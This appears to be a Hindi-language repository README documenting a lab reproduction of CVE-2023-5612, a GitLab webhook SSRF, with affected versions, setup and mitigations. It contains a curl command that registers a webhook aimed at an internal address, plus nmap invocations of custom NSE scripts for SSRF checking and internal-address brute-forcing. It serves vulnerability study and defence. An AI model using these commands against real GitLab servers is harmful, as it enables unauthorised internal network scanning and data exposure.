CVE-2023-5612 – GitLab SSRF via Webhook URL (PoC और विश्लेषण)

📌 CVE अवलोकन

• CVE-ID: CVE-2023-5612
• गंभीरता: उच्च (CVSS: 8.1 बेस स्कोर)
• प्रकार: सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF)
• घटक: GitLab CE/EE वेबहुक्स
• प्रभावित संस्करण: GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

🧠 विवरण

GitLab CE/EE में एक SSRF दोष है जो आक्रामकों को वैध प्रोजेक्ट मेंटेनर एक्सेस के साथ किसी भी आंतरिक सेवाओं को दुर्भावनापूर्ण वेबहुक URL के माध्यम से निर्मित अनुरोध भेजने की अनुमति देता है। इसका शोषण आंतरिक नेटवर्क स्कैनिंग, मेटाडेटा लीकेज, या आगे पिवोटिंग का कारण बन सकता है।

---

✅ एक्सप्लॉइट शर्तें

• आक्रामक के पास प्रोजेक्ट के लिए मेंटेनर एक्सेस होना चाहिए
• GitLab में URL हुक्स के लिए कठोर फ़िल्टरेशन या सत्यापन नहीं है

---

⚙️ PoC चरण (मैन्युअल)

curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 पर्यावरण और सेटअप

- परीक्षण के लिए विशेष रूप से तैनात वर्चुअल मशीन के अंदर Kali Linux
- Docker के माध्यम से शुरू किया गया कमजोर GitLab CE उदाहरण (पोर्ट 8080)
- GitLab के अंदर:
- एक परीक्षण प्रोजेक्ट बनाया गया
- मेंटेनर अधिकारों के साथ एक व्यक्तिगत एक्सेस टोकन (glpat-...) उत्पन्न किया गया
- आंतरिक SSRF लक्ष्य के लिए 127.0.0.1:8888 पर न्यूनतम HTTP सेवा शुरू की गई

🧠 विधिशास्त्र

- curl के माध्यम से मैन्युअल रूप से दोष की पुष्टि (देखें PoC)
- कस्टम NSE स्क्रिप्ट्स का निर्माण:
gitlab-ssrf.nse: SSRF के लिए लक्षित जांच
gitlab-ssrf-brute.nse: आंतरिक पते का स्वचालित ब्रूटफोर्स
- API व्यवहार का विश्लेषण और परिणामों को रिकॉर्ड करने के लिए nmap -d और --script-trace के साथ परीक्षण
- आंतरिक सेवा से 401 Unauthorized प्रतिक्रिया प्राप्त करना, जो सफल SSRF को इंगित करता है
- सफल अनुरोध `201 Created` लौटाएगा या `401 Unauthorized` प्रकार की त्रुटि दिखाएगा, जो SSRF एक्सेस को इंगित करता है।

---

🛠 NSE स्क्रिप्ट (मैन्युअल ट्रिगर)

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 NSE स्क्रिप्ट (आंतरिक URLs का ब्रूटफोर्स)

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

---

📈 निष्कर्ष

**CVE-2023-5612** दोष पर काम करते समय, GitLab CE API के माध्यम से आंतरिक पतों तक पहुंच के साथ एक सफल SSRF आक्रमण परिदृश्य का पुनरुत्पादन किया गया। यह दर्शाता है कि वेबहुक क्षमताओं को सीमित करने और सर्वर साइड पर URL सत्यापन लागू करने के लिए कितना महत्वपूर्ण है।

🎯 लक्ष्य प्राप्त हुआ:

• SSRF की पुष्टि हुई
• NSE उपकरण कार्यान्वित किए गए
• प्रोजेक्ट दस्तावेज़ीकृत और समुदाय के लिए खुला है

---

📂 रिपो संरचना

.
├── gitlab-ssrf.nse             # मैन्युअल SSRF सत्यापन के लिए NSE स्क्रिप्ट
├── gitlab-ssrf-brute.nse       # आंतरिक होस्ट/पोर्ट्स को स्कैन करने के लिए NSE ब्रूट स्क्रिप्ट
├── screenshots/                # PoC निष्पादन और दोष पुष्टि की स्क्रीनशॉट्स
└── README.md                   # यह फ़ाइल

---

🖼 स्क्रीनशॉट्स

• ✅ 401 Unauthorized लौटाने वाला सफल SSRF
• 📜 स्क्रिप्ट निष्पादन के साथ nmap लॉग्स
• 📦 API के माध्यम से वेबहुक जोड़ना

---

⚠️ निवारण

• GitLab को >= 16.2.7 / 16.3.4 / 16.4.1 पर अपग्रेड करें
• egress firewall के माध्यम से outbound HTTP को सीमित करें
• वेबहुक्स के लिए आंतरिक allow-lists का उपयोग करें

---

🧠 लेखक और संपर्क

Pavel Topskiy
GitHub • सुरक्षा विश्लेषक, रेड टीम विश्लेषक

---

📅 समयरेखा

• जून 2025: PoC और दोष का विश्लेषण
• 5 जून 2025: कस्टम NSE स्क्रिप्ट और परीक्षणों का लेखन

---

🔐 दिस्क्लेमर

सभी परीक्षण जानबूझकर कमजोर संस्करणों पर अलग किए गए प्रयोगशाला वातावरण में किए गए थे। इसे अनुमत नहीं दी गई प्रणालियों के खिलाफ उपयोग न करें। नैतिक हैकिंग सिद्धांतों का सम्मान करें।